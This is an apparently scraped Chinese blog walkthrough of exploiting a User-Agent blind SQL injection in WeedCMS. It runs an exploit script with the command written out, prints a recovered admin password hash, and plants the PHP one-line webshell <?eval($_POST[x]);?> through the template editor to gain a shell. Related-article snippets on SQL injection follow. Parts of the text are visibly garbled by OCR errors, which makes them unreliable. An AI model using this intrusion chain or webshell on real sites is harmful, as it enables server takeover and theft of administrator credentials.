野草网站管理系统(WEEDCMS)是由野草独立基于PHP+MYSQL开发的内容管理系统。面向企业、个人、小门户等中小规模网站使用而开发的。采用国际上比较流行Smarty引擎和敏捷的JQuery JS框架。

在tools.net上看到有人公布了Weedons的USER_AGENT盲洼漏洞,漏洞影响Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把这个漏洞介绍给大家。

一.漏洞简单分析

这个漏洞的公布者是sswowo,sswowo已经进行了比较详细的分析,这里直接引用。

出现漏洞的文件是vote.php,USER_ AGENT直接插入数据库,没有经过过滤,导致产生Insert型SQL注入。由于无错误提示,只能进行盲注。代码就不具体写下来了,有需要的可以找我要。

我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。

首先程序通过GET获取了action变量,如果ac tio n==ok。则处理投票,然后调用了checkrequest()函数对请求进行验证,我们跟进一下这个函数,找到includes/function.php第390行。

我们可以看到,只对REFERER,进行了简单的正则匹配,和XjHO ST进行了比对,我们可以通过伪造请求R卫FERER即可绕过此验证。

接着程序获取了vote_id变量,我们给他传人一个不存在的ID即可,防止在不同的目标环境中导致程序逻辑被中断,然后我们看后面在最后插入投票数据时,直接获取了$_SERVER[’HTTP_USER—AGENT']并且没有任何过滤,而且$_SERVEFR变量是不受magic_quotes_gpc保护的,所以该漏洞通用性很好,几乎可以通杀。最后使用了$db->insert0函数插入到了数据库,我们跟一下这个函数看有没有过滤。找到includes/class_db.php第20-7我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。漏洞分析就简单引用到这里,下面来看漏洞利用过程。

二.漏洞利用

我从网上下载了野草Weedcms最新版本的野革内容管理系统WeedC MS v5.o build 20110101的源代码,用AppServ在虚拟机里把程序运行了起来。

USER_AGENT盲注漏洞怎么利用呢?别急,sswowo已经给出了一个漏洞的利用EXP,把EXP的代码保存为weedcmsexp.php备用。由于EXP是用PHP代码写的,因此需要用php.exe进行解析。有的朋友可能不知道php.exe在哪里,安装了PHP就有了,我搭建php WEB环境用的AppServ里自带_r'phpS,我就不用再安装PHP了,直接使用了。AppServ中php5的安装目录为C:\AppServ\php5,按键盘上的WIN+R键调出“运行”,输入cmd后回车就打开了命令提示符,输入c dVl:JJ换到C盘根目录下,然后输入cd C:YAppServ\php5,回车,切换到php.exeF在的目录。把漏洞利用EXP weedcmsexp.php复制到C:\AppServ\php5目录下,在命令提示符下输入php.exeweedcmsexp.php就会看到EXI,怎么用。后面跟的4个参数分别为:目标主机端口程序路径(以/开头结尾)延时。要对我虚拟机里搭建的Weedcms进行注入,输入php.exe weedcmsexp.php127.0.0.1 80”/weed/””2”,回车后会看到一行行信息滚过。

注入完成后,猜解出的管理员的用户名为admin,密码为d033 e22ae348aeb5660fc2140aec35850c4da997,密码是经过shal加密的,在在线破解网站得到了管理员的用户名和密码就该进后台想办法拿shell了。Weedcms的后台登录文件是网站根目录下的admin_.php,用得到的用户名和密码顺利进入了后台。

虽然Weedcms 4.0和5.0都可以注入,但我只会在进入Weedcms 5.0的后台后才能获得shell,对于4.O版本的We edcms在后台没找到拿shell的方法,也许我太菜了,有知道怎么拿shell的欢迎和我交流。Weedcms 5.0后台拿shell的方法我是学的心灵公布的野草weedcms 5.0写马漏洞的方法。具体利用方法为在Weedcms的网站地址后面加上如下代码:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,访问后打开的页面。

是编辑模板文件的页面,在文件头插入<?eval($一POST[x]);?>,提交后访问一下网站首页,php-句话木马就写到temps/compile/目录下的part_vote.html.php文件中了,用lanker-句话PHP后门客户端3.O内部版连接获得shell。

虽然Weedcms不是很大众,但这个漏洞仍然有值得大家留意的地方,比如USER AGENT盲注的方法,如果有能力的可以借鉴下漏洞利用EXP的代码,相信你会有所收获。

利用野草weedcmsuseragent盲注漏洞拿shell的更多相关文章

  1. metinfo小于v6.2.0版本通杀SQL盲注漏洞分析

    0x01 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞. 0x02 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/syst ...

  2. SQL盲注

    一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入      真  and  假 = 假 (1)...where u ...

  3. 【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)

    允许130次尝试,然后是个盲注漏洞,看来要单字符猜解了 加单引号,页面异常,但报错被屏蔽了 http://192.168.136.128/sqli-labs-master/Less-62/?id=1' ...

  4. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  5. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  6. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  7. sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)

    写在前面: 首先需要更改一下数据库用户的权限用于我们之后的操作. 首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的 ...

  8. DVWA-sql注入(盲注)

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

  9. 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...

随机推荐

  1. 使用PHP做分页查询(查询结果也显示为分页)

    1.先把数据库里所有的数据分页显示在页面,并在显示数据的表格上方加上查询表单.(加上条件,实现目标结果.) <!DOCTYPE html PUBLIC "-//W3C//DTD XHT ...

  2. 软件测试之adb命令-实际公司使用场景--今日log

    软件测试之adb命令-实际公司使用场景--今日log Dotest-董浩整理 1)可以看内存泄漏: 2)可以安装.卸载app--截图并提交bug: 3)可以通过抓app日志定位问题: 4)可以结合mo ...

  3. Ubuntu18.04更换官方默认更新源sources.list

    ⒈备份官方默认更新源文件 cp /etc/apt/sources.list /etc/apt/sources.list.bak 备份官方更新源文件 ⒉编辑 1.打开 vi /etc/apt/sourc ...

  4. [转]PuTTY字体颜色设置

    转载于 https://blog.csdn.net/cyd_shuihan/article/details/77836290 用putty登录Linux,默认配色方案看不清,我们可以自己设置新的字体大 ...

  5. python正则表达式--编译正则表达式re.compile

    编译正则表达式-- re.compile 使用re的一般步骤是先将正则表达式的字符串形 式编译为pattern实例,然后使用pattern实例处理文本并获取匹配结果(一个Match实例(值为True) ...

  6. php 的文件操作类

    <?php header('Content-type:text/html;charset=utf8'); Class FILE { private static $path; private s ...

  7. 安装 Tensorflow

    环境:Ubuntu 16.04  64bit 1.    安装Anaconda Anaconda 是 Python 的一个科学计算发行版,内置了数百个Python经常会使用的库,也包括了许多机器学习和 ...

  8. 带URL的XML解析方式

    XmlDocument xml = new XmlDocument(); xml.LoadXml(responseString); XmlNode root = xml.DocumentElement ...

  9. 基于Python & Opencv 图像-视频-处理算法

    Alg1:图像数据格式之间相互转换.png to .jpg(其他的请举一反三) import cv2 import glob def png2jpg(): images = glob.glob('*. ...

  10. Mapreduce的排序(全局排序、分区加排序、Combiner优化)

    一.MR排序的分类 1.部分排序:MR会根据自己输出记录的KV对数据进行排序,保证输出到每一个文件内存都是经过排序的: 2.全局排序: 3.辅助排序:再第一次排序后经过分区再排序一次: 4.二次排序: ...